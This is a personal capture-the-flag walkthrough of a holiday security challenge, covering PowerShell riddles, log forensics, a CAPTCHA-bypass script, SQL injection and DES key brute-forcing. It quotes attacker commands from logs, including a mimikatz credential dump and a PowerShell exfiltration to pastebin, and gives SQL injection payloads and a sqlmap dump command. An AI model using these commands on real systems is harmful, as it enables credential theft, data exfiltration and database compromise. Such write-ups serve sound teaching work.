Fa la la la la, la la la la

Okay, so we can see if commands hold riddles in hist’ry:

Get-History | Format-List -Property *

Id : 9
CommandLine : I have many name=value variables that I share to applications
system wide. At a command I will reveal my secrets once you Get my
Child Items.
ExecutionStatus : Completed
StartExecutionTime : 11/29/19 4:57:16 PM
EndExecutionTime : 11/29/19 4:57:16 PM
Duration : 00:00:00.6090308

This also shows us our first value: http://127.0.0.1:1225/api/angle?val=65.5).RawContent

System-wide name=value variables sounds like an environment variable. We can use Get-ChildItem Env: to list these. Most seem normal except for ‘riddle’:

(Get-ChildItem Env:riddle).Value

Squeezed and compressed I am hidden away. Expand me from my prison and I will show you the way. Recurse through all /etc and Sort on my LastWriteTime to reveal im the newest of all.

Following that literally would be:

Get-ChildItem -Recurse /etc | Sort-Object -Property LastWriteTime

which shows us an archive, so we need to “expand it from its prison”:

Expand-Archive /etc/apt/archive

This reveals a subdirectory ‘refraction’ containing ‘riddle’ and ‘runme.elf’

It took me a long time to figure out how to run the file (way too long looking into variants of the following PowerShell error:

but it appears to be just a strange way for PowerShell to complain that it can’t run a file that isn’t executable. chmod +x and then running the file gives us our next value: refraction?val=1.867

Meanwhile, the riddle says: “Very shallow am I in the depths of your elf home. You can find my entity by using my md5 identity:25520151A320B5B0D21561F92C8F6224”

Get-ChildItem -Recurse /home/elf/depths -File | Get-FileHash -Algorithm MD5 | Select-String -Pattern ".*25520151A320B5B0D21561F92C8F6224.*" -InputObject {$_.Hash + " " + $_.Path }


25520151A320B5B0D21561F92C8F6224 /home/elf/depths/produce/thhy5hll.txt

thhy5hll.txt contains our next value: “temperature?val=-33.5 I am one of many thousand similar txt’s contained within the deepest of /home/elf/depths. Finding me will give you the most strength but doing so will require Piping all the FullName’s to Sort Length.”

Get-ChildItem -Recurse /home/elf/depths | select FullName | sort { $_.FullName.Length }

Get process information to include Username identification. Stop Process to show me you’re skilled and in this order they must be killed:bushyalabastermintyhollyDo this for me and then you /shall/see .

Get-Process -IncludeUserName

Stop-Process -Id @(26, 29, 27, 28)

Get-Content /shall/see

Get the .xml children of /etc – an event log to be found. Group all .Id’s and the last thing will be in the Properties of the lonely unique event Id.

I found this really tough; initially I tried to use Select-Xml but it doesn’t play nice with EventLogs, so using the -Path option doesn’t work. It seems to require the XML starts with <xml> and ends with </xml>. Which we can do:

$x = Get-Content /etc/systemd/system/timers.target.wants/EventLog.xml
$x[0] = "<xml>"
$x[$x.Length-1] = "</xml>"
but this still didn’t play nicely with the -Xml option, so then I tried using a string form:
$y = [String]::Join("\n", $x) with the -Content but that still didn’t work right. And that’s not even beginning to address the complications of figuring out an XPath query (something I’d rather stayed behind me in my uni days).

Thanks to this useful Sans blog, it turns out there is an easier way:
$y = Import-Clixml /etc/systemd/system/timers.target.wants/EventLog.xml
$y | group id | sort count
$x = ($y | ? { $_.id -match '1' })

So now we have all the values, we just need to use them:

Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method Post -Body "O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9"

Invoke-WebRequest -Uri http://localhost:1225/api/refraction?val=1.867

Invoke-WebRequest -Uri http://localhost:1225/api/angle?val=65.5

Invoke-WebRequest -Uri http://localhost:1225/api/temperature?val=-33.5

Invoke-WebRequest -Uri http://localhost:1225/api/on

And then actually run the command from the instructions (making the request without accessing the ‘RawContent’ property is not enough which took me a bit to figure out.

Frosty Keypad

In this challenge, we need to figure out the passcode based on knowing that it’s a four-digit prime number consisting of 1, 3 and 7 with one number repeated.
I probably should’ve written a program to find all the primes this fits since there won’t be many – but I’m lazy so I just looked through this list for matches and tried them.

Greylog

For this challenge, we’re given a greylog interface and the following response report to complete:

ElfU Graylog Incident Response Report

For this challenge, we’re given an incident response report to fill in:

Question 1: Minty CandyCane reported some weird activity on his computer after he clicked on a link in Firefox for a cookie recipe and downloaded a file.

What is the full-path + filename of the first malicious file downloaded by Minty?

Since we know it’s Minty and he was using Firefox, we can search in all messages for both of these: UserAccount:minty AND ProcessImage:"C:\Program Files\Mozilla Firefox\firefox.exe" which finds 1,194 matching messages. Looking at the quick values for EventId shows 1 (Process Creation) and 3 (Network connection) so filtering on those aren’t likely to be very useful.
Looking for EventId 11 (File Create) or 15 (File Stream) doesn’t find anything either and if we just look in minty’s user account, there don’t seem to be any interesting event ids.

We know a file was downloaded and that generally goes to the Downloads folder, so if we add AND Downloads we might find what we want. That returns no results until we remove the Firefox filter. This finds 33 messages that show something has indeed been run from the Downloads folder; if we then reverse the order (UserAccount:minty AND Downloads | reverse) we can see from the first event’s parent process that the answer is:

C:\Users\minty\Downloads\cookie_recipe.exe

Question 2: The malicious file downloaded and executed by Minty gave the attacker remote access to his machine. What was the ip:port the malicious file connected to first?

If we search for the above exe and add EventId:3 (Network connection) ("C\:\Users\minty\Downloads\cookie_recipe.exe" AND EventID:3) we get one event with the properties we need: destination hostname: DEFANELF | DestinationIp: 192.168.247.175 | DestinationPort: 4444. Giving us the answer

192.168.247.175:4444

Question 3: What was the first command executed by the attacker?

If we remove the EventId filter and limit to messages where the exe is the ProcessImage we see there are only three matching messages which aren’t particularly interesting, so it must be spawning new processes to do anything interesting. So we switch to messages where this is the ParentProcessImage:
ParentProcessImage:C\:\Users\minty\Downloads\cookie_recipe.exe
Then we reverse the order and select the ‘Commandline’ field and can see that the first two events relate to creating the command and the third gives us our answer:

C:\Windows\system32\cmd.exe /c “whoami “

Question 4: What is the one-word service name the attacker used to escalate privileges?

Scrolling down through these messages, we can see the attacker using ls to find out where they are, what services are running and downloading another file. We then see them run the new file with "sc start webexservice a software-update 1 wmic process call create "cmd.exe /c C:\Users\minty\Downloads\cookie_recipe2.exe". Googling for webexservice finds a BleepingComputer article that mentions it can be run by anyone and runs with System privileges, so we’ve found our answer:

webexservice

Question 5: What is the file-path + filename of the binary ran by the attacker to dump credentials?

If we switch now to looking at events where the ParentProcessImage is the cookie_recipe2.exe file, again sorting on timestamp so the earliest are first we can see the attacker download mimikatz, a well-known Windows credential dumping tool.
After a couple of failed attempts, they finally manage to run C:\Windows\system32\cmd.exe /c "C:\cookie.exe "privilege::debug" "sekurlsa::logonpasswords" exit " giving us our answer:

C:\cookie.exe

Question 6: The attacker pivoted to another workstation using credentials gained from Minty’s computer. Which account name was used to pivot to another machine?

From question 2, we know the attacker’s IP address so if we search for that and the successful logon event (4624): 192.168.247.175 AND EventID:4624 we can then see the earliest event is from the account of

alabaster

Question 7: What is the time ( HH:MM:SS ) the attacker makes a Remote Desktop connection to another machine?

If we look at the events from alabaster’s account after the logon we found above, we find a suspicious pastebin event:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Invoke-WebRequest -Uri https://pastebin.com/post.php -Method POST -Body @{ “submit_hidden” = “submit_hidden”; “paste_code” = $([Convert]::ToBase64String([IO.File]::ReadAllBytes(“C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf”))); “paste_format” = “1”; “paste_expire_date” = “N”; “paste_private” = “0”; “paste_name”=”cookie recipe” }
A brief search on pastebin doesn’t reveal anything of interest and the rest of the greylog events aren’t useful.

Searching for the RDP executable mstsc also doesn’t find anything.

So if we go back to 192.168.247.175 AND EventID:4624 and we can see the attacker logs onto both elfu-res-wks1 and elfu-res-wks2. So if we look at events after this, using these as the source instead of the attacker’s IP (EventID:4624 AND SourceHostName:ELFU-RES-WKS2) the second earliest event gives us our answer, occurring at:

06:04:28

Question 8: The attacker navigates the file system of a third host using their Remote Desktop Connection to the second host. What is the SourceHostName,DestinationHostname,LogonType of this connection?

Since I got to the last answer using brute-force, this question was easier; the event occuring immediately after the RDP logon gives us our answer:

elfu-res-wks2,elfu-res-wks3,3

Question 9: What is the full-path + filename of the secret research document after being transferred from the third host to the second host?

We can look for events in a five minute timespan with event id 2 which gives us 13 messages. After looking through these and ignoring the ones that seem generic (eg svchost and ServerManager temp files), we soon find the suspicious looking:

C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf

Question 10: What is the IPv4 address (as found in logs) the secret research document was exfiltrated to?

If we then search for that filename in all messages, we find three results; two are the file creation and the third is the suspicious message I found earlier. We can use the process id (ProcessId:1232) to find the related network event with a destination ip:

104.22.3.84

The Holiday Hack Trail

A 80s-style adventure game, awesome.
Since I’m planning to cheat anyway, I figured I might as well just go with hard – the distance and resources I start with shouldn’t matter.

I start by being able to buy things in a shop so I bought reindeer, runners, ammo and meds – it shouldn’t matter much, I assume, but money seems pointless since I might not get to spend it and we can always use the ammo and a reindeer if we need food.

Using the network tab, we can see that whenever we click ‘go’, a form is POSTed to /trail containing all the information about the current state. So the easiest option is just to change the distance field to be the ‘distance remaining’. Unfortunately this just gets us an error message because there’s also a hash field which has to match.
It’s sent from the server, so we can’t just recalculate it to be whatever we want, but it looks like it might be MD5 since this website finds a decrypted number so perhaps we can still reverse it. If it’s a number, perhaps it’s a sum or some other calculation of all the fields?

We can use burp repeater or the Firefox dev console to edit requests and send them repeatedly, so I did this and quickly found that the reindeer’s status doesn’t affect the hash. I guess I don’t need to worry about reversing it then; I can just “fix” my reindeer whenever they aren’t doing so well.

Michael and Jane weren’t doing so well in the first image with 2585 distance remaining but my magic touch made them all better now.

That was mostly going smoothly until we hit an unexpected river:

So I patched them up and we decided on the ‘ford’ option along with crossed fingers

and fortunately that seems to have worked:

JQ Terminal

There were too many people standing in front of this terminal to know what it’s meant to be called, sorry! But all we need to do is find the IP of the longest connection:

jq --slurp "max_by(.duration)" conn.log

Objectives

1. Find the turtle doves

They’re just chilling in the Student Union by the fireplace.

This objective was harder than you’d expect when the University got busy since it was too hard to click on them!

2. Unredact threatening document

There’s a redacted pdf document in the top right corner of the quad. There should be a nice way to remove the ‘Confidential’ styling so we can read the whole letter inline, but I couldn’t find it, so I just read the text in the dev tools console like a pleb:

3. Windows Log Analysis: Evaluate Attack Outcome

We’re given event log data and a hint about a PowerShell script from SANS, and asked to figure out which account was compromised from a Password Spray attack.

Running the script shows us that password spray attacks occurred and pminstix, DC1$ and/or supatree may have been compromised.

Scrolling further shows that most accounts had 77 failed logon attempts while supatree only had 76, so I guess the last(!) one succeeded and it was compromised.

4. Windows Log Analysis: Determine Attacker Technique

For this objective, we’re given normalised syslogs and asked to identify the tool used to retrieve domain password hashes.
As a hint, we’re pointed to this blog, which is fortunate for me because I was completely lost without it.

Following the instructions, I found that the logs are already normalised (ie eqllib convert-data my-sysmon-data.json -s "Microsoft Sysmon" querydata.json fails) – which is also written in the instructions, oops.

We can also see ntdsutil.exe was used:

so I figured that was the answer, but no luck.

Following through the rest of the blog, I found a bunch of suspicious looking PowerShell commands using base64 encoding:

Decoding that base64 gzip file gives an incredibly obsfucated script:

After spending about 10 minutes trying to figure out that and deciding that I wasn’t making any progress, I went back to look closer at the ntdsutil.exe event and quickly found out that the answer is, infact, ntdsutil.

5. Network Log Analysis: Determine Compromised System

For this objective, we’re given zeek logs with Rita and asked to identify the IP address of the malware-infected system. If we open up the /elfu-zeeklogs/ELFU/index.html file, we can then navigate through to ElfU and look at the long connections:

that first one seems suspiciously long; perhaps it’s a reverse tcp shell? Since they asked for the infected IP address and not the command and control server, our answer is:

192.168.134.130

6. Splunk

Kent has told Professor Banas that his computer has been hacked, and a message for Kent was embedded in the attack. We’re tasked with finding that message using Splunk (username elf, password elfsocks).
We’re given raw files and the following training questions to help lead us to the answer:

What is the short host name of Professor Banas’ computer?

Sweetums. We’re given this answer in the help:

What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of the file. (Example: C:\temp\report.pdf)

C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt

We’re given the hint that the Professor is close to Santa and that we should keep this simple. By searching for ‘sweetums’ and ‘santa’, the first result shows that santa sent the Naughty_and_Nice_2019_draft to Banas, which seems like something an attacker might want to steal.
In the second-last event, a PowerShell command is used to read the draft file, so it looks likely that this has been accessed.

What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy.baddies.com)

144.202.46.214.vultr.com

We can look for Sysmon events with Event 3 (Network connection):
index=main sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventID=3. Clicking on the hostname in the Selected Fields on the right shows that there is (oddly) only one connection – so this must be to the C2 server.

What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)

19th Century Holiday Cheer Assignment.docm

The hints suggest we should look for all PowerShell events in time-order using:
index=main sourcetype="WinEventLog:Microsoft-Windows-Powershell/Operational" | reverse
We can then look at all events around this of any source and note that there are four process ids:

0x16e8 is 5864 in hex, so there are actually only three

If we then look for process creation events for these, we find the second event for 6268 (searching for index=main 0x187C EventCode=4688 back in all time)

How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value. (Example: 1)

You could, in theory, answer this question by looking for emails ("index=main sourcetype=stoq") and then, for each of the variations on the Professor’s email in results{}.workers.smtp.to, clicking on the smtp.from field on the right and choosing Top Values and then changing the limit in the query it gives you to 100 and counting up the values in the statistics field, ignoring case.

Of course, that would be hacky and lazy and definitely isn’t what I did. Instead, I did it properly by watching the Splunk talk and realising that a better command would be index=main carl.banas@faculty.elfu.org | rename "results{}.workers.smtp.from" as from | eval from=lower(from) | stats count by from which shows us there were 22 matching ‘from’ fields, one of which the Professor’s (since we asked for all emails involving him, not just the ones sent *to* him).
So our answer is 21.

What was the password for the zip archive that contained the suspicious file?

Since we know which file launched the malicious PowerShell code, and we know it was sent to the Prof., we can just search for this: index=main carl.banas@faculty.elfu.org 19th Century Holiday Cheer Assignment.docm. There’s only one matching event so we can open that and use ctrl-f to search for password: Please open the attached zip file with password 123456789 and then open the word document to view it

What email address did the suspicious file come from?

In the above event, we can look at the results{}.workers.smtp.from to see that it was Bradly.Buttercups@eIfu.org

What was the message for Kent that the adversary embedded in this attack?

From the above search, we can see there are 19 attachments. Adding

| eval results = spath(_raw, "results{}")
| mvexpand results
| eval path=spath(results, "archivers.filedir.path"), filename=spath(results, "payload_meta.extra_data.filename"), fullpath=path."/".filename
| search fullpath!=""
| table filename,fullpath

to the end tells us what these all are. We want the text of the document, so we should use the path to core.xml: /home/ubuntu/archive/f/f/1/e/a/ff1ea6f13be3faabd0da728f514deb7fe3577cc4/core.xml in the archive we were given at the start. Which gives us our final answer:
Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

7. Get Access to the Steam Tunnels

When we go into Minty’s dorm room, we find a strange looking machine on her desk

and a character quickly disappears into her wardrobe, where we only find a door and a closed lock:

I remember a cool talk from last year’s Kringlecon about replicating locks from their photos, so I guess that’s this challenge.
If we’re quick when we enter Minty’s dorm and use the browser’s dev tools, we stop the character (Krampus) from leaving by removing the ‘scampering’ attribute. Then it’s easy to find where he really lives.

The speaker has helpfully provided key decoding images and we can look at the key head to see that it’s the Schlage one that we need.

I’m pretty terrible at image editing, so I spent at least half an hour trying to figure this out by aligning two windows in Preview, I finally accepted that was a terrible idea.

Thankfully there are some websites, like this, that allowed me to do it properly without downloading Gimp.

And then we can just read that the key is 122520 – enter this into the contraption in Minty’s room, download the key and then upload it again in the lock and we’re done.

8. Bypass the Frido Sleigh CAPTEHA

For this objective, we’re told to bypass the “reCAPTEHA” on this website. One of the speakers helpfully provided this repo which can do the image classification for us, so we just need to train that model and then make the appropriate requests to the server.

In this challenge, I learnt the value of talking to the elves in Kringlecon; after creating a script to download the images and then manually sorting a bunch into folders and then using Firefox’s network tab to figure out what requests we should be making and writing a script to copy that, I found that one of the elves already provides sorted images and most of the Python code needed.

Most of my code was already written though, so I just used it:

import base64
import queue
import threading
import time
from collections import defaultdict
from typing import List

import img_rec_tf_ml_demo.predict_images_using_trained_model as predictor
import requests

URL = "https://fridosleigh.com/api/"
s = requests.Session()

def prepare_for_classification() -> dict:
    graph = predictor.load_graph("/tmp/retrain_tmp/output_graph.pb")
    labels = predictor.load_labels("/tmp/retrain_tmp/output_labels.txt")

    # Load up our session
    input_operation = graph.get_operation_by_name("import/Placeholder")
    output_operation = graph.get_operation_by_name("import/final_result")
    sess = predictor.tf.compat.v1.Session(graph=graph)

    return {
        'graph': graph,
        'labels': labels,
        'input_op': input_operation,
        'output_op': output_operation,
        'sess': sess
    }
    

def solve_challenge():
    classification_prep = prepare_for_classification()

    print("making request")
    r = s.post(f"{URL}capteha/request", data={})
    data = r.json()
    images = data["images"]
    selection = data["select_type"]

    classified = classify_images(images, classification_prep)
    selections = parse_selection(selection)

    submit_answer(selections, classified)

def classify_images(images: List[dict], classification_prep: dict) -> dict:
    graph = classification_prep['graph']
    labels = classification_prep['labels']

    input_operation = classification_prep['input_op']
    output_operation = classification_prep['output_op']
    sess = classification_prep['sess']

    # Can use queues and threading to speed up the processing
    q = queue.Queue()
    print("Processing images")
    for image in images:
        # We don't want to process too many images at once. 10 threads max
        while len(threading.enumerate()) > 10:
            time.sleep(0.001)

        image_bytes = base64.b64decode(image["base64"])
        #predictor.predict_image(q, sess, graph, image_bytes, image["uuid"], labels, input_operation, output_operation)
        threading.Thread(target=predictor.predict_image, args=(q, sess, graph, image_bytes, image["uuid"], labels, input_operation, output_operation)).start()

    while q.qsize() < len(images):
        time.sleep(0.0001)
    print("Getting results")
    
    #getting a list of all threads returned results
    prediction_results = [q.get() for x in range(q.qsize())]

    results = defaultdict(list)
    for prediction in prediction_results:
        results[prediction['prediction'].lower()].append(prediction['img_full_path'])

    return results


def parse_selection(selection_str: str) -> List[str]:
    return [c.replace("and", "").strip().lower() for c in selection_str.split(",")]

def submit_answer(selections: List[str], categorised_images: List[dict]) -> None:
    answers = []
    for selection in selections:
        answers += categorised_images[selection]
    
    req = s.post(f"{URL}capteha/submit", data={"answer": ",".join(answers)})
    # import pdb; pdb.set_trace()
    r = req.json()
    if r['request']:
        submit_entries_until_we_win()
    else:
        print("Request failed")
        print(str(r))
        print("Matching answers: " + str(len(answers)))
        solve_challenge()

def submit_entries_until_we_win():
    email = 'thejollyrodgers@gmail.com'
    userinfo = {
        'name':'Krampus Hollyfeld',
        'email':email,
        'age':180,
        'about':"Cause they're so flippin yummy!",
        'favorites':'thickmints'
    }
    # If we win the once-per minute drawing, it will tell us we were emailed. 
    # Should be no more than 200 times before we win. If more, somethings wrong.
    entry_response = ''
    entry_count = 1
    while email not in entry_response and entry_count < 200:
        print('Submitting lots of entries until we win the contest! Entry #{}'.format(entry_count))
        entry_response = s.post(f"{URL}entry", data=userinfo).text
        entry_count += 1
    print(entry_response)

if __name__ == '__main__':
    solve_challenge()

And I made minor edits to split out some of the methods I need from the predict_images_using_trained_model.py script given in the Github repo linked above:

def load_labels(label_file):
    label = []
    proto_as_ascii_lines = tf.gfile.GFile(label_file).readlines()
    for l in proto_as_ascii_lines:
        label.append(l.rstrip())
    return label

def predict_image(q, sess, graph, image_bytes, img_full_path, labels, input_operation, output_operation):
    image = read_tensor_from_image_bytes(image_bytes)
    results = sess.run(output_operation.outputs[0], {
        input_operation.outputs[0]: image
    })
    results = np.squeeze(results)
    prediction = results.argsort()[-5:][::-1][0]
    q.put( {'img_full_path':img_full_path, 'prediction':labels[prediction].title(), 'percent':results[prediction]} )

def load_graph(model_file):
    graph = tf.Graph()
    graph_def = tf.GraphDef()
    with open(model_file, "rb") as f:
        graph_def.ParseFromString(f.read())
    with graph.as_default():
        tf.import_graph_def(graph_def)
    return graph

def read_tensor_from_image_bytes(imagebytes, input_height=160, input_width=160, input_mean=0, input_std=255):
    image_reader = tf.image.decode_png( imagebytes, channels=3, name="png_reader")
    float_caster = tf.cast(image_reader, tf.float32)
    dims_expander = tf.expand_dims(float_caster, axis=0)
    resized = tf.image.resize_bilinear(dims_expander, [input_height, input_width])
    normalized = tf.divide(tf.subtract(resized, [input_mean]), [input_std])
    sess = tf.compat.v1.Session()
    result = sess.run(normalized)
    return result

Running this took too long though on my sluggish laptop so I was constantly getting failure messages due to the request timing out.
Thanks to a helpful hint in the Kringlecon chat, I looked at the retrain.py script and found that I could use a quicker model. So training with:
python3 retrain.py --image_dir ./training_images --tfhub_module https://tfhub.dev/google/imagenet/mobilenet_v1_075_160/feature_vector/3
meant my computer could classify the images within a second or two (even with other processes running as opposed to the 25 seconds maxing out CPU it was doing before!).

9. Retrieve Scraps of Paper from Server

Navigating through the website shows two obvious areas of data input; the application page and the application-status check page.

There’s less on /check.php so I started looking for a SQL injection there, entering my default ' OR '1'='1. Browser-side verification notes that this isn’t a valid email and refuses to submit it but we can easily bypass this by manually altering the html to remove the type=email attribute. Submitting this shows the generic your application is pending message returned for an invalid email, so this isn’t going to be an easy in. Let’s see if apply.php has low-hanging fruit.

Entering my default SQL injection test above into all the input fields there (and again, removing the email type) returns an obvious SQL error: Error: INSERT INTO applications (name, elfmail, program, phone, whyme, essay, status) VALUES ('' OR '1'='1', '' OR '1'='1', '' OR '1'='1', '' OR '1'='1', '' OR '1'='1', '' OR '1'='1', 'pending'Duplicate entry '1' for key 'elfmail'. Neat.

Further attempts to exploit this show that it’s running MariaDB, so making the ‘one page essay’ field ', 'complete')# means we can test the injection is working. After doing so, the application check page says Your application has been processed! Congratulations, but have you found Krampus' hidden secrets? so that looks promising.

We can use sqlmap, as per the provided hint, to try to make it easier to exploit this vulnerability, but running it normally (eg python sqlmap.py -u https://studentportal.elfu.org/apply.php --forms) tells us the fields aren’t vulnerable.
Looking at the Firefox network tab (or the JavaScript code), we can see that before submitting the form, a request is first made to https://studentportal.elfu.org/validator.php, which returns a value used for the ‘token’ parameter – without this (or with an old token), the /application-received.php page just returns a generic token error message. So that must be all sqlmap was seeing. No wonder it thought the parameters weren’t vulnerable.

Decoding this validator token (it’s a float), repeating the request (same request gets different tokens) and seeing there are no cookies, made me think the token is probably some sort of time so we could probably reverse-engineer it, but it’s probably easier to just request it from the server each time.

I spent some time trying to create a tamper script to add this parameter each time, but the scripts are intended more for just changing the payload of a single parameter so there’s messiness with URL encoding.

Fortunately, sqlmap has an easier option: --eval, so we can update the token each time by requesting it from the server:
python sqlmap.py -u "https://studentportal.elfu.org/application-received.php" --dump --data="name=First&elfmail=email%40email.com&program=Chocolate&phone=0&whyme=asdf&essay=asdfs&token=x" -p "essay" --eval="import requests;token=requests.get('https://studentportal.elfu.org/validator.php').text"

This looks promising

Trying to read the file through sqldump –file-read option didn’t work, but fortunately we can access these directly through the webserver.
I won’t share my horrific attempt to stitch the paper back together, but instead note that the background only vaguely resembled a tooth when I was done, but I could just see that the answer is the ‘Super sled-o-matic’.

10. Recover cleartext document

Finally a chance to use Ghidra! For this objective, we’re given an encrypted PDF, elfescrow.exe and elfescrow.pdb.
Unfortunately, I don’t own Windows and my VMs were playing up, so I started this challenge by briefly borrowing a Windows laptop so I could convert the pdb file to pdb.xml (thank you Ghidra for having a script to do this in /support/createPdbXmlFiles.bat and my mother for letting me both use her laptop and install Visual Studio so that the script could run!)
Once the code was decompiled, Ghidra shows us there’s a do_encrypt function which calls this generate_key function:

So this is printing a message, getting the time and then calling the super_secure_srand function here:

It looks like the __iob_func couldn’t be linked properly. Hopefully that doesn’t matter!

So we know that the key is based on the time rather than being genuinely random.
Continuing to look down the encrypt function, there’s an error message s_CryptImportKey_failed_for_DES-CB_004047d8 so it looks like it’s using DES CBC.

Running the exe shows us that we’ve got a key length of 8:

Encrypting A, AAAA and AAAAAAAA suggests that it is actually using DES since the blocks appear to be 8 bytes.

Using Vim to read the hex ( % !xxd):
A -> 9e29 cdd8 18f8 6700 41f2 272e 6f5c 84ec 0a
AAAA -> 8db0 3e20 dbb9 7c6f 90f1 17bc ebca 50e8 0a
AAAAAAAA -> e82c 5629 d4e6 a723 7526 d273 0aff 8959 3d51 1b93 8a4e 8cc0 0a
BAAAAAAA -> 7e7b 95fc d88a 8a13 e739 7f6e fa0f f9d4 ff86 5d68 24d8 d34b 0a
AAAAAAAB -> 6f1e 9113 2d06 0ade f791 c860 e2d0 db42 4786 0373 354a 839f 0a
doesn’t really help identify the mode since it’s all encrypted with a key. Oops.

In the task description, we’re told We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC. So we can use this website to see that the time_64 function must’ve returned something between 1575658800 and 1575666000.

So that’s our seed. When we look at the rand function, we see it does an imul, add and a right shift:

Googling for those values shows that they’re commonly used in Microsoft’s LCR, although Ghidra is probably more helpful here by showing the code:

We can convert this to ruby:

and then check it using the ‘A.enc’ file we created above. Success!

Figuring out the encoding method turned out to be a little harder; simply using DES-CBC with that key to encrypt ‘A’ resulted in the hex:
649c 6d42 a06d 0216 0a
whereas the program gave us:
9e29 cdd8 18f8 6700 41f2 272e 6f5c 84ec 0a.

Searching for the problem turns up this StackOverflow question which suggests we might need to set an IV, but nothing seems to turn up when looking for the Microsoft code.

While investigating this further, I noticed that something seemed a little odd about the encryption of ‘A.txt’; instead of being the expected 8 bytes, ‘A.enc’ is 16 bytes as shown in the image above. Perhaps the program does something special when the text is that short, but given that I can’t find anything in the decompiled source, I probably just messed up.
So let’s just try running the code with the PDF and hope for the best.

PDFs always start with %PDF, so we can just try every key until we find the right one:

require 'openssl'

KEY_LENGTH = 8

def generate_key(seed)
  key = ""
  1.upto(KEY_LENGTH) do
    seed = seed * 0x343fd + 0x269ec3
    key += ((seed >> 0x10 & 0x7fff) & 0x0FF).chr
  end
  return key
end

def decrypt(data, key)
  c = OpenSSL::Cipher::Cipher.new("DES-CBC")
  c.decrypt
  c.key = key
  return (c.update(data) + c.final())
end

if(!ARGV[0])
  puts("Usage: ruby ./solution.rb <filename>")
  exit
end

data = File.open(ARGV[0], 'rb').read

start_seed = 1575658800
end_seed = 1575666000

(start_seed..end_seed).each do | seed |
    key = generate_key(seed)
    begin
        decrypted = decrypt(data, key
        if decrypted.start_with? "%PDF"
            puts decrypt(data, key)
            return
        end
    rescue
        # Ignore errors - it must mean the key was wrong
    end
end

And it works!

11. Open the Sleigh Shop Door

Clicking on the sleigh shop door does nothing, but we’re given a hint to use dev tools. In the source code, we find a link to https://sleighworkshopdoor.elfu.org/

1. You don’t need a clever riddle to open the console and scroll a little.
We can simply open up the browser console and find the code written at the top.
2. Some codes are hard to spy, perhaps they’ll show up on pulp with dye?
I don’t actually understand this hint; but I stumbled across it while looking for the next one.
3. This code is still unknown; it was fetched but never shown.
It sounds like something hidden, so possibly via css display:none. Unfortunately, not that – I missed the ‘fetched’ part of the hint, but when we go to the network tab, we can see it was quite literally fetched.
4. Where might we keep the things we forage? Yes, of course: Local barrels!
Sounds like local storage – this is found under the ‘storage’ tab in Firefox dev tools.

5. Did you notice the code in the title? It may very well prove vital.
We can look at the source to see the code in the <head><title> field
6. In order for this hologram to be effective, it may be necessary to increase your perspective.

Increasing the css perspective property of the .hologram element to 10000px shows the code in order.
7. The font you’re seeing is pretty slick, but this lock’s code was my first pick.
If we look at the css font-family for this element, the code is the first string.
8. In the event that the .eggs go bad, you must figure out who will be sad.
Eggs sounds like python, but apparently that’s a red flag. If we look at the event associated with the eggs element, the answer is revealed.
9. This next code will be unredacted, but only when all the chakras are :active.

Looking at the source here shows a bunch of the words are wrapped in <span class=”chakra”>. We can set all these to active by using the “:hov” ‘active’ tickbox in the console.
10. Oh, no! This lock’s out of commission! Pop off the cover and locate what’s missing.

There’s an unusual <div class=”cover”> element on this lock. Removing it shows a switch button and clicking that gets us a console message saying we’re missing ‘macaroni’.
A .macaroni element is found in the HTML which also has the ‘component’ class – looking for these shows three elements but combining their data-codes creates a 9 digit code, rather than the maximum-8 digit code we expect.
If we put display=none onto the cover element, we can see a circuit board which happens to have a matching 8-digit code, but entering this doesn’t unlock the lock – we continue to get that ‘missing macaroni’ error.
After inserting a debug into the JavaScript code where that error occurs, we see it seems to be looking for those elements; so if we move them into the lock, suddenly it opens.
And we’re in:

12. Filter out poisoned sources of weather data

We’re supposed to block 100 offending sources of information here, with the hint that we should look for LFI, XSS, ShellShock or SQLi.

We can use cat http.log | jq -c '.[] | select(.uri | contains(".."))'| jq to find LFI:

  1. 230.246.50.221
  2. 223.149.180.133
  3. 187.178.169.123
  4. 116.116.98.205
    Modifying the request to look for other requests from these IPs (cat ~/Downloads/http.log | jq -c '.[] | select(.["id.orig_h"] | contains("187.178.169.123"))' | jq) shows they made no other requests.
    But, broadening the search cat ~/Downloads/http.log | jq -c '.[] | select(.["uri"] | contains("/etc"))' | jq   finds a couple more interesting examples:
  5. 28.169.41.122
  6. 9.206.212.33
  7. 23.49.177.78
  8. 229.133.163.235
  9. 253.182.102.55
  10. 131.186.145.73
  11. 102.143.16.184
    I’m not sure what to search for now, so I’ll look for XSS. Searching for anything with a url containing ‘alert’ returned far too many results, thanks to a page called ‘alert.html’. But alert( was a little better:
  12. 56.5.47.137
  13. 19.235.69.221
  14. 69.221.145.150
  15. 42.191.112.181
  16. 48.66.193.176
  17. 49.161.8.58
  18. 84.147.231.129
  19. 44.74.106.131
  20. 106.93.213.219
    looking for ‘<‘ didn’t find anything extra, nor did the urlencoded < (%3c). I couldn’t think of any other XSS telltale signs (at least in the URL; I’ll look in the body later) but I noticed a lot of the agents were a little odd looking (eg ‘Metasploit’, ‘Goglebot’, ‘ApleWebKit’) so let’s look for these: cat ~/Downloads/http.log | jq -c '.[] | select(.["user_agent"] | contains("Metasploit"))' | jq
  21. 203.68.29.5
  22. 158.171.84.209
  23. 97.220.93.190
    I might need to try case-insensitive versions of the XSS searches, but for now let’s move on to shellshock. Searching for ‘echo’ gives us:
  24. 218.67.109.150
  25. 56.147.40.116
    and searching for ‘env’ gets us:
  26. 33.51.42.229
  27. 234.18.248.185
  28. 84.89.143.17
  29. 204.219.113.132
  30. 114.110.122.1
  31. 75.134.152.153
  32. 184.171.125.109
  33. 99.139.115.174
    Searching for ‘=>’ and the encoded version finds nothing. Moving on to SQL, we definitely want a case-insensitive search for SELECT: cat ~/Downloads/http.log | jq -c '.[] | select(.["uri"] | test("SELECT"; "i"))' | jq:
  34. 42.103.246.250
